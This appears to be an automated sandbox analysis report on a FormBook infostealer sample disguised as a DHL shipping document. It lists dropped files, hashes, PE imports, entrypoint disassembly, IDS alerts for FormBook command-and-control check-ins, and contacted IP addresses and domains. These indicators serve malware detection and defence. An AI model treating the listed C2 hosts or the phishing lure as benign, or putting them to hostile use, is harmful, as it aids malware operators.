                                                            Preview:.005m..f.F<...05o.:......?v>.3.3.<......M.knl.02a..c.E<...42c. ......4.D63.6.3.?.....E.gni.53P..805.p8.q?.2.8.u .a..beabo.H0..v..v.@3.`..i/7.p.6.t(2..g.}.u<..G-.0.3.h.f....w8L$.m.r.D;F...okc..m.;4.q.?.<@.4.0...m..u<f...@%.`4..D'd.O$..A5..=..<r..4M.knl.82a..Q..401ec.t4.M4...D;.D..d580..E9....E....3.u.mje.18e..`W..480.x<.p=.4.4.p-P..6.c.!....D%.|.eX.....+..t..0....e.a..`beP..580.p=.t>.8.5.p,XE..Md.....M9..e...@4......F1..u.|c.....Lq.}<...v<+480.}<;.&<.>..r.^.q8F0....q.^.q8F0...^..M...3uc.....}<F...kloe.=8e...548.r...t..w.(058.q..v..I.0A..q..34.q.p.}..u.{.w....}.p013......u.L.4F".u..04.t.t.q..p.x.u....q.8580..Y...}..E.4D'.q..80.}.t.t..w.p.p...X+AK..M......v.ZXK.J.E.....}.]..O.F.....u.X_.M.M......H...X...K.D.....}.\&....A..B....G...P5..O.E..P....\...Y...K.E..a....B...].4.T.4.q0.p..q..~<1|..x.q.>.t&.u.|1,.t..w.pe..\...w.p..u.T.4.Q.0.}.;.q%..5M%.}.;.qm..tL9.}.5013.6.].5.u...K...P3480..u...dR0.m...D4...B358.q.0342.}.e......dX4R0]<048[3^2^8Z5..p...d.a..

                                                            C:\Users\user\AppData\Local\Temp\mvmtumtue.nvj

                                                            Download File
                                                            Process:C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exe
                                                            File Type:data
                                                            Category:dropped
                                                            Size (bytes):210477
                                                            Entropy (8bit):7.998822054659917
                                                            Encrypted:true
                                                            SSDEEP:3072:cY/mWoc3Tt/pj+DHK2cytCbzE2OYnxjbRQJvDRxeqVKwBYcQfG8LssuEXUhivzCe:3735G3cFzE2O8orRxeqVzbhjqzJWG
                                                            MD5:33B5DE50DB0BB7122119E41416DE2573
                                                            SHA1:9C557EB9394E46FAFE4ADCE3643666E74EE05974
                                                            SHA-256:BA6A2D48F1BA514A8302F8E0B1A656D1243CFCDAF4B0408ED5CFCF598E129411
                                                            SHA-512:CB1C24ACBBD4AA76CC295875A02282FDC8078CADEFE6CF3DC6EF804E037D2B00FE802E971FDB423BD4A8C160ADCD92F100506BFBCC8141CD9F48BE03EAF5BA9E
                                                            Malicious:false
                                                            Preview:,.7l.z.....8.h./..+('.x.S.P.nyt....V....v...._.....'?G.u...b........r..d.6.^=..V..S......d'.:...O.E..6x.A.*...x........j...g0.....7...."tv...xNC.-n.B.......,.e;4.....\h@.Q...O*.r..f.Y.J........;./. O.O..=.j.S......../...\:69..:%........0f.>...kz..........>......a.mn. .ny.....V.....J...._.....'?G.u.......< 0;8........(..:B.`T.Z....A..?...lBOu..,.Y...G.x......6........f{S1|Y.W.?.%o7...-..^......7y..md.J....\h@... _.*.r....HaS.\:.&..;./.qO5........^.......hN..\669.(.%..........f.....kz................a.m.P.nyt....V....v...._.....'?G.u.......< 0;8........(..:B.`T.Z....A..?...lBOu..,.Y...G.x......6........f{S1|Y.W.?.%o7...-..^......7y..md.J....\h@.Q...O*.r;.f.HeS.\.;&...;./.qO5.....j.........hN..\669.(.%..........f.....kz................a.m.P.nyt....V....v...._.....'?G.u.......< 0;8........(..:B.`T.Z....A..?...lBOu..,.Y...G.x......6........f{S1|Y.W.?.%o7...-..^......7y..md.J....\h@.Q...O*.r;.f.HeS.\.;&...;./.qO5.....j.........

                                                            C:\Users\user\AppData\Local\Temp\nsu5B23.tmp

                                                            Download File
                                                            Process:C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exe
                                                            File Type:data
                                                            Category:dropped
                                                            Size (bytes):320868
                                                            Entropy (8bit):7.627351926435029
                                                            Encrypted:false
                                                            SSDEEP:6144:D735G3cFzE2O8orRxeqVzbhjqzJWlaGKGsGZExocCk:Ds3cdoFxeW/aGKGsHG
                                                            MD5:877CEC6DAEAB0B4B42C7AB77077772C5
                                                            SHA1:90292679B84F9F1D096753521E4E87B0456D3DBA
                                                            SHA-256:6EA18BC067BD0206119ECB96AA6BA6326CCF32FBAACA5691091AD8F9E46B4E6B
                                                            SHA-512:A3A00F05D6C071146661BD24B6982103E5F940158D661C2FDFFE739AF08FFF51B80C871589489937FA2D1FACDE7A274E9853E3F8BAC4B79544B87FEF53739BEB
                                                            Malicious:false
                                                            Preview:V#......,...................i...@........"......V#..............................................................................*...........................................................................................................................................................G...................j...........................................................................................................................................N...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            Static File Info

                                                            General

                                                            File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                            Entropy (8bit):5.937523402259023
                                                            TrID:
                                                            • Win32 Executable (generic) a (10002005/4) 99.96%
                                                            • Generic Win/DOS Executable (2004/3) 0.02%
                                                            • DOS Executable Generic (2002/1) 0.02%
                                                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                            File name:DHL_SHIPPING_DOCUMENT.exe
                                                            File size:730562
                                                            MD5:04f5c33c1d3f795872b58f8c3922b49e
                                                            SHA1:3db181379815210d6fb0491d9660ddefff263224
                                                            SHA256:c0fee78265aef8793cb49690cc68fdf3debb84ab529bd59a2883a0c63ee0a6f5
                                                            SHA512:f91d065389d15ccc22ac765b9432fc7df44b6141618ae902fe8179eb2311a85e31796b87e15550d2240db835486ef8f5084be00cb71ed9dec9ff9b9d4af2c110
                                                            SSDEEP:12288:4YGGr4VVVVVVVVVVVVVVVVVVVVVVVVVVVVVHdx7OkVaa3bIsYyPouzayEtiQ:4Yed5ODdCPXzHE4Q
                                                            TLSH:D5F44AE1D68484E9FC6A4B76A8339C3A15677D7EB9B4601D661EB6312B732C30077C0B
                                                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*.....

                                                            File Icon

                                                            Icon Hash:71915e442028d505

                                                            Static PE Info

                                                            General

                                                            Entrypoint:0x403640
                                                            Entrypoint Section:.text
                                                            Digitally signed:false
                                                            Imagebase:0x400000
                                                            Subsystem:windows gui
                                                            Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                            DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                            Time Stamp:0x614F9B1F [Sat Sep 25 21:56:47 2021 UTC]
                                                            TLS Callbacks:
                                                            CLR (.Net) Version:
                                                            OS Version Major:4
                                                            OS Version Minor:0
                                                            File Version Major:4
                                                            File Version Minor:0
                                                            Subsystem Version Major:4
                                                            Subsystem Version Minor:0
                                                            Import Hash:61259b55b8912888e90f516ca08dc514

                                                            Entrypoint Preview

                                                            Instruction
                                                            push ebp
                                                            mov ebp, esp
                                                            sub esp, 000003F4h
                                                            push ebx
                                                            push esi
                                                            push edi
                                                            push 00000020h
                                                            pop edi
                                                            xor ebx, ebx
                                                            push 00008001h
                                                            mov dword ptr [ebp-14h], ebx
                                                            mov dword ptr [ebp-04h], 0040A230h
                                                            mov dword ptr [ebp-10h], ebx
                                                            call dword ptr [004080C8h]
                                                            mov esi, dword ptr [004080CCh]
                                                            lea eax, dword ptr [ebp-00000140h]
                                                            push eax
                                                            mov dword ptr [ebp-0000012Ch], ebx
                                                            mov dword ptr [ebp-2Ch], ebx
                                                            mov dword ptr [ebp-28h], ebx
                                                            mov dword ptr [ebp-00000140h], 0000011Ch
                                                            call esi
                                                            test eax, eax
                                                            jne 00007FB81882765Ah
                                                            lea eax, dword ptr [ebp-00000140h]
                                                            mov dword ptr [ebp-00000140h], 00000114h
                                                            push eax
                                                            call esi
                                                            mov ax, word ptr [ebp-0000012Ch]
                                                            mov ecx, dword ptr [ebp-00000112h]
                                                            sub ax, 00000053h
                                                            add ecx, FFFFFFD0h
                                                            neg ax
                                                            sbb eax, eax
                                                            mov byte ptr [ebp-26h], 00000004h
                                                            not eax
                                                            and eax, ecx
                                                            mov word ptr [ebp-2Ch], ax
                                                            cmp dword ptr [ebp-0000013Ch], 0Ah
                                                            jnc 00007FB81882762Ah
                                                            and word ptr [ebp-00000132h], 0000h
                                                            mov eax, dword ptr [ebp-00000134h]
                                                            movzx ecx, byte ptr [ebp-00000138h]
                                                            mov dword ptr [0042A318h], eax
                                                            xor eax, eax
                                                            mov ah, byte ptr [ebp-0000013Ch]
                                                            movzx eax, ax
                                                            or eax, ecx
                                                            xor ecx, ecx
                                                            mov ch, byte ptr [ebp-2Ch]
                                                            movzx ecx, cx
                                                            shl eax, 10h
                                                            or eax, ecx

                                                            Rich Headers

                                                            Programming Language:
                                                            • [EXP] VC++ 6.0 SP5 build 8804

                                                            Data Directories

                                                            NameVirtual AddressVirtual Size Is in Section
                                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_IMPORT0x85040xa0.rdata
                                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0x3b0000x6a3b8.rsrc
                                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_IAT0x80000x2b0.rdata
                                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                            Sections

                                                            NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                            .text0x10000x66760x6800False0.6568134014423077data6.4174599871908855IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                            .rdata0x80000x139a0x1400False0.4498046875data5.141066817170598IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                            .data0xa0000x203780x600False0.509765625data4.110582127654237IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                            .ndata0x2b0000x100000x0False0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                            .rsrc0x3b0000x6a3b80x6a400False0.1916015625data3.688576847107456IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                            Resources

                                                            NameRVASizeTypeLanguageCountry
                                                            RT_ICON0x3b3580x42028Device independent bitmap graphic, 256 x 512 x 32, image size 262144EnglishUnited States
                                                            RT_ICON0x7d3800x10828Device independent bitmap graphic, 128 x 256 x 32, image size 65536EnglishUnited States
                                                            RT_ICON0x8dba80x94a8Device independent bitmap graphic, 96 x 192 x 32, image size 36864EnglishUnited States
                                                            RT_ICON0x970500x5488Device independent bitmap graphic, 72 x 144 x 32, image size 20736EnglishUnited States
                                                            RT_ICON0x9c4d80x4228Device independent bitmap graphic, 64 x 128 x 32, image size 16384EnglishUnited States
                                                            RT_ICON0xa07000x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9216EnglishUnited States
                                                            RT_ICON0xa2ca80x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4096EnglishUnited States
                                                            RT_ICON0xa3d500x988Device independent bitmap graphic, 24 x 48 x 32, image size 2304EnglishUnited States
                                                            RT_ICON0xa46d80x468Device independent bitmap graphic, 16 x 32 x 32, image size 1024EnglishUnited States
                                                            RT_DIALOG0xa4b400x100dataEnglishUnited States
                                                            RT_DIALOG0xa4c400x11cdataEnglishUnited States
                                                            RT_DIALOG0xa4d600x60dataEnglishUnited States
                                                            RT_GROUP_ICON0xa4dc00x84dataEnglishUnited States
                                                            RT_VERSION0xa4e480x230dataEnglishUnited States
                                                            RT_MANIFEST0xa50780x33eXML 1.0 document, ASCII text, with very long lines (830), with no line terminatorsEnglishUnited States

                                                            Imports

                                                            DLLImport
                                                            ADVAPI32.dllRegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
                                                            SHELL32.dllSHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
                                                            ole32.dllOleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
                                                            COMCTL32.dllImageList_Create, ImageList_Destroy, ImageList_AddMasked
                                                            USER32.dllGetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
                                                            GDI32.dllSetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
                                                            KERNEL32.dllGetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, CreateFileW, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

                                                            Possible Origin

                                                            Language of compilation systemCountry where language is spokenMap
                                                            EnglishUnited States

                                                            Network Behavior

                                                            Snort IDS Alerts

                                                            TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                            192.168.2.481.169.145.8849695802031412 03/20/23-11:27:41.124513TCP2031412ET TROJAN FormBook CnC Checkin (GET)4969580192.168.2.481.169.145.88
                                                            192.168.2.4104.233.254.11349709802031449 03/20/23-11:28:53.219959TCP2031449ET TROJAN FormBook CnC Checkin (GET)4970980192.168.2.4104.233.254.113
                                                            192.168.2.4113.52.135.19349703802031453 03/20/23-11:28:29.350188TCP2031453ET TROJAN FormBook CnC Checkin (GET)4970380192.168.2.4113.52.135.193
                                                            192.168.2.4113.52.135.19349703802031412 03/20/23-11:28:29.350188TCP2031412ET TROJAN FormBook CnC Checkin (GET)4970380192.168.2.4113.52.135.193
                                                            192.168.2.481.169.145.8849695802031453 03/20/23-11:27:41.124513TCP2031453ET TROJAN FormBook CnC Checkin (GET)4969580192.168.2.481.169.145.88
                                                            192.168.2.4199.192.28.11049699802031453 03/20/23-11:28:13.420032TCP2031453ET TROJAN FormBook CnC Checkin (GET)4969980192.168.2.4199.192.28.110
                                                            192.168.2.48.8.8.860686532023883 03/20/23-11:29:11.441798UDP2023883ET DNS Query to a *.top domain - Likely Hostile6068653192.168.2.48.8.8.8
                                                            192.168.2.481.169.145.8849695802031449 03/20/23-11:27:41.124513TCP2031449ET TROJAN FormBook CnC Checkin (GET)4969580192.168.2.481.169.145.88
                                                            192.168.2.446.23.69.4449705802031412 03/20/23-11:28:37.254660TCP2031412ET TROJAN FormBook CnC Checkin (GET)4970580192.168.2.446.23.69.44
                                                            192.168.2.4199.192.28.11049699802031412 03/20/23-11:28:13.420032TCP2031412ET TROJAN FormBook CnC Checkin (GET)4969980192.168.2.4199.192.28.110
                                                            192.168.2.4113.52.135.19349703802031449 03/20/23-11:28:29.350188TCP2031449ET TROJAN FormBook CnC Checkin (GET)4970380192.168.2.4113.52.135.193
                                                            192.168.2.446.23.69.4449705802031453 03/20/23-11:28:37.254660TCP2031453ET TROJAN FormBook CnC Checkin (GET)4970580192.168.2.446.23.69.44
                                                            192.168.2.4104.233.254.11349709802031453 03/20/23-11:28:53.219959TCP2031453ET TROJAN FormBook CnC Checkin (GET)4970980192.168.2.4104.233.254.113
                                                            192.168.2.446.23.69.4449705802031449 03/20/23-11:28:37.254660TCP2031449ET TROJAN FormBook CnC Checkin (GET)4970580192.168.2.446.23.69.44
                                                            192.168.2.4199.192.28.11049699802031449 03/20/23-11:28:13.420032TCP2031449ET TROJAN FormBook CnC Checkin (GET)4969980192.168.2.4199.192.28.110
                                                            192.168.2.4104.233.254.11349709802031412 03/20/23-11:28:53.219959TCP2031412ET TROJAN FormBook CnC Checkin (GET)4970980192.168.2.4104.233.254.113

                                                            Network Port Distribution

                                                            TCP Packets

                                                            TimestampSource PortDest PortSource IPDest IP
                                                            Mar 20, 2023 11:27:41.103671074 CET4969580192.168.2.481.169.145.88
                                                            Mar 20, 2023 11:27:41.124280930 CET804969581.169.145.88192.168.2.4
                                                            Mar 20, 2023 11:27:41.124399900 CET4969580192.168.2.481.169.145.88
                                                            Mar 20, 2023 11:27:41.124512911 CET4969580192.168.2.481.169.145.88
                                                            Mar 20, 2023 11:27:41.144968033 CET804969581.169.145.88192.168.2.4
                                                            Mar 20, 2023 11:27:41.146936893 CET804969581.169.145.88192.168.2.4
                                                            Mar 20, 2023 11:27:41.147181034 CET804969581.169.145.88192.168.2.4
                                                            Mar 20, 2023 11:27:41.148864031 CET4969580192.168.2.481.169.145.88
                                                            Mar 20, 2023 11:27:41.154973984 CET4969580192.168.2.481.169.145.88
                                                            Mar 20, 2023 11:27:41.174519062 CET804969581.169.145.88192.168.2.4
                                                            Mar 20, 2023 11:27:51.205352068 CET4969680192.168.2.450.87.195.203
                                                            Mar 20, 2023 11:27:51.390180111 CET804969650.87.195.203192.168.2.4
                                                            Mar 20, 2023 11:27:51.390422106 CET4969680192.168.2.450.87.195.203
                                                            Mar 20, 2023 11:27:51.390614033 CET4969680192.168.2.450.87.195.203
                                                            Mar 20, 2023 11:27:51.575270891 CET804969650.87.195.203192.168.2.4
                                                            Mar 20, 2023 11:27:51.819456100 CET804969650.87.195.203192.168.2.4
                                                            Mar 20, 2023 11:27:51.819508076 CET804969650.87.195.203192.168.2.4
                                                            Mar 20, 2023 11:27:51.819648027 CET4969680192.168.2.450.87.195.203
                                                            Mar 20, 2023 11:27:52.892504930 CET4969680192.168.2.450.87.195.203
                                                            Mar 20, 2023 11:27:53.909151077 CET4969780192.168.2.450.87.195.203
                                                            Mar 20, 2023 11:27:54.093878984 CET804969750.87.195.203192.168.2.4
                                                            Mar 20, 2023 11:27:54.098609924 CET4969780192.168.2.450.87.195.203
                                                            Mar 20, 2023 11:27:54.098740101 CET4969780192.168.2.450.87.195.203
                                                            Mar 20, 2023 11:27:54.283379078 CET804969750.87.195.203192.168.2.4
                                                            Mar 20, 2023 11:27:54.881174088 CET804969750.87.195.203192.168.2.4
                                                            Mar 20, 2023 11:27:54.923999071 CET4969780192.168.2.450.87.195.203
                                                            Mar 20, 2023 11:28:04.891547918 CET804969750.87.195.203192.168.2.4
                                                            Mar 20, 2023 11:28:04.891773939 CET4969780192.168.2.450.87.195.203
                                                            Mar 20, 2023 11:28:04.906358957 CET4969780192.168.2.450.87.195.203
                                                            Mar 20, 2023 11:28:05.090928078 CET804969750.87.195.203192.168.2.4
                                                            Mar 20, 2023 11:28:09.970515013 CET4969880192.168.2.4199.192.28.110
                                                            Mar 20, 2023 11:28:10.138561010 CET8049698199.192.28.110192.168.2.4
                                                            Mar 20, 2023 11:28:10.139292955 CET4969880192.168.2.4199.192.28.110
                                                            Mar 20, 2023 11:28:10.139673948 CET4969880192.168.2.4199.192.28.110
                                                            Mar 20, 2023 11:28:10.307205915 CET8049698199.192.28.110192.168.2.4
                                                            Mar 20, 2023 11:28:10.410506964 CET8049698199.192.28.110192.168.2.4
                                                            Mar 20, 2023 11:28:10.410605907 CET8049698199.192.28.110192.168.2.4
                                                            Mar 20, 2023 11:28:10.410754919 CET4969880192.168.2.4199.192.28.110
                                                            Mar 20, 2023 11:28:11.960941076 CET4969880192.168.2.4199.192.28.110
                                                            Mar 20, 2023 11:28:13.250793934 CET4969980192.168.2.4199.192.28.110
                                                            Mar 20, 2023 11:28:13.418484926 CET8049699199.192.28.110192.168.2.4
                                                            Mar 20, 2023 11:28:13.419913054 CET4969980192.168.2.4199.192.28.110
                                                            Mar 20, 2023 11:28:13.420032024 CET4969980192.168.2.4199.192.28.110
                                                            Mar 20, 2023 11:28:13.587511063 CET8049699199.192.28.110192.168.2.4
                                                            Mar 20, 2023 11:28:13.697813988 CET8049699199.192.28.110192.168.2.4
                                                            Mar 20, 2023 11:28:13.697864056 CET8049699199.192.28.110192.168.2.4
                                                            Mar 20, 2023 11:28:13.698159933 CET4969980192.168.2.4199.192.28.110
                                                            Mar 20, 2023 11:28:13.698652983 CET4969980192.168.2.4199.192.28.110
                                                            Mar 20, 2023 11:28:13.866168022 CET8049699199.192.28.110192.168.2.4
                                                            Mar 20, 2023 11:28:18.763628960 CET4970080192.168.2.4217.160.0.32
                                                            Mar 20, 2023 11:28:18.786365986 CET8049700217.160.0.32192.168.2.4
                                                            Mar 20, 2023 11:28:18.788248062 CET4970080192.168.2.4217.160.0.32
                                                            Mar 20, 2023 11:28:18.788455009 CET4970080192.168.2.4217.160.0.32
                                                            Mar 20, 2023 11:28:18.811074972 CET8049700217.160.0.32192.168.2.4
                                                            Mar 20, 2023 11:28:18.816607952 CET8049700217.160.0.32192.168.2.4
                                                            Mar 20, 2023 11:28:18.816633940 CET8049700217.160.0.32192.168.2.4
                                                            Mar 20, 2023 11:28:18.816771984 CET4970080192.168.2.4217.160.0.32
                                                            Mar 20, 2023 11:28:20.301188946 CET4970080192.168.2.4217.160.0.32
                                                            Mar 20, 2023 11:28:21.318445921 CET4970180192.168.2.4217.160.0.32
                                                            Mar 20, 2023 11:28:21.341140985 CET8049701217.160.0.32192.168.2.4
                                                            Mar 20, 2023 11:28:21.341253996 CET4970180192.168.2.4217.160.0.32
                                                            Mar 20, 2023 11:28:21.341408014 CET4970180192.168.2.4217.160.0.32
                                                            Mar 20, 2023 11:28:21.367325068 CET8049701217.160.0.32192.168.2.4
                                                            Mar 20, 2023 11:28:21.374430895 CET8049701217.160.0.32192.168.2.4
                                                            Mar 20, 2023 11:28:21.374499083 CET8049701217.160.0.32192.168.2.4
                                                            Mar 20, 2023 11:28:21.374721050 CET4970180192.168.2.4217.160.0.32
                                                            Mar 20, 2023 11:28:21.375020027 CET4970180192.168.2.4217.160.0.32
                                                            Mar 20, 2023 11:28:21.397676945 CET8049701217.160.0.32192.168.2.4
                                                            Mar 20, 2023 11:28:26.419450998 CET4970280192.168.2.4113.52.135.193
                                                            Mar 20, 2023 11:28:26.623085022 CET8049702113.52.135.193192.168.2.4
                                                            Mar 20, 2023 11:28:26.623271942 CET4970280192.168.2.4113.52.135.193
                                                            Mar 20, 2023 11:28:26.623491049 CET4970280192.168.2.4113.52.135.193
                                                            Mar 20, 2023 11:28:26.827152014 CET8049702113.52.135.193192.168.2.4
                                                            Mar 20, 2023 11:28:26.827330112 CET8049702113.52.135.193192.168.2.4
                                                            Mar 20, 2023 11:28:26.827353001 CET8049702113.52.135.193192.168.2.4
                                                            Mar 20, 2023 11:28:26.827411890 CET4970280192.168.2.4113.52.135.193
                                                            Mar 20, 2023 11:28:28.130045891 CET4970280192.168.2.4113.52.135.193
                                                            Mar 20, 2023 11:28:29.146186113 CET4970380192.168.2.4113.52.135.193
                                                            Mar 20, 2023 11:28:29.349519014 CET8049703113.52.135.193192.168.2.4
                                                            Mar 20, 2023 11:28:29.349842072 CET4970380192.168.2.4113.52.135.193
                                                            Mar 20, 2023 11:28:29.350188017 CET4970380192.168.2.4113.52.135.193
                                                            Mar 20, 2023 11:28:29.553194046 CET8049703113.52.135.193192.168.2.4
                                                            Mar 20, 2023 11:28:29.553384066 CET8049703113.52.135.193192.168.2.4
                                                            Mar 20, 2023 11:28:29.553415060 CET8049703113.52.135.193192.168.2.4
                                                            Mar 20, 2023 11:28:29.553632975 CET4970380192.168.2.4113.52.135.193
                                                            Mar 20, 2023 11:28:29.553765059 CET4970380192.168.2.4113.52.135.193
                                                            Mar 20, 2023 11:28:29.756839037 CET8049703113.52.135.193192.168.2.4
                                                            Mar 20, 2023 11:28:34.640928030 CET4970480192.168.2.446.23.69.44
                                                            Mar 20, 2023 11:28:34.668648958 CET804970446.23.69.44192.168.2.4
                                                            Mar 20, 2023 11:28:34.668832064 CET4970480192.168.2.446.23.69.44
                                                            Mar 20, 2023 11:28:34.700421095 CET4970480192.168.2.446.23.69.44
                                                            Mar 20, 2023 11:28:34.728221893 CET804970446.23.69.44192.168.2.4
                                                            Mar 20, 2023 11:28:34.733566046 CET804970446.23.69.44192.168.2.4
                                                            Mar 20, 2023 11:28:34.733638048 CET804970446.23.69.44192.168.2.4
                                                            Mar 20, 2023 11:28:34.733741999 CET4970480192.168.2.446.23.69.44
                                                            Mar 20, 2023 11:28:36.209743023 CET4970480192.168.2.446.23.69.44
                                                            Mar 20, 2023 11:28:37.225220919 CET4970580192.168.2.446.23.69.44
                                                            Mar 20, 2023 11:28:37.253339052 CET804970546.23.69.44192.168.2.4
                                                            Mar 20, 2023 11:28:37.253623009 CET4970580192.168.2.446.23.69.44
                                                            Mar 20, 2023 11:28:37.254659891 CET4970580192.168.2.446.23.69.44

                                                            UDP Packets

                                                            TimestampSource PortDest PortSource IPDest IP
                                                            Mar 20, 2023 11:27:41.073858976 CET5657253192.168.2.48.8.8.8
                                                            Mar 20, 2023 11:27:41.092590094 CET53565728.8.8.8192.168.2.4
                                                            Mar 20, 2023 11:27:51.185725927 CET5091153192.168.2.48.8.8.8
                                                            Mar 20, 2023 11:27:51.203722954 CET53509118.8.8.8192.168.2.4
                                                            Mar 20, 2023 11:28:09.934638023 CET5968353192.168.2.48.8.8.8
                                                            Mar 20, 2023 11:28:09.969444990 CET53596838.8.8.8192.168.2.4
                                                            Mar 20, 2023 11:28:18.710139036 CET6416753192.168.2.48.8.8.8
                                                            Mar 20, 2023 11:28:18.761651993 CET53641678.8.8.8192.168.2.4
                                                            Mar 20, 2023 11:28:26.393294096 CET5856553192.168.2.48.8.8.8
                                                            Mar 20, 2023 11:28:26.418127060 CET53585658.8.8.8192.168.2.4
                                                            Mar 20, 2023 11:28:34.576559067 CET5223953192.168.2.48.8.8.8
                                                            Mar 20, 2023 11:28:34.612303972 CET53522398.8.8.8192.168.2.4
                                                            Mar 20, 2023 11:28:42.362283945 CET5680753192.168.2.48.8.8.8
                                                            Mar 20, 2023 11:28:42.404155016 CET53568078.8.8.8192.168.2.4
                                                            Mar 20, 2023 11:28:50.041943073 CET6100753192.168.2.48.8.8.8
                                                            Mar 20, 2023 11:28:50.077486038 CET53610078.8.8.8192.168.2.4
                                                            Mar 20, 2023 11:29:11.441797972 CET6068653192.168.2.48.8.8.8
                                                            Mar 20, 2023 11:29:12.049052954 CET53606868.8.8.8192.168.2.4

                                                            DNS Queries

                                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                            Mar 20, 2023 11:27:41.073858976 CET192.168.2.48.8.8.80x8ccbStandard query (0)www.versicherungsgott.comA (IP address)IN (0x0001)false
                                                            Mar 20, 2023 11:27:51.185725927 CET192.168.2.48.8.8.80x8afStandard query (0)www.motherhoodinthegarden.comA (IP address)IN (0x0001)false
                                                            Mar 20, 2023 11:28:09.934638023 CET192.168.2.48.8.8.80x77a1Standard query (0)www.getpay.lifeA (IP address)IN (0x0001)false
                                                            Mar 20, 2023 11:28:18.710139036 CET192.168.2.48.8.8.80x8ebcStandard query (0)www.espisys-technology.comA (IP address)IN (0x0001)false
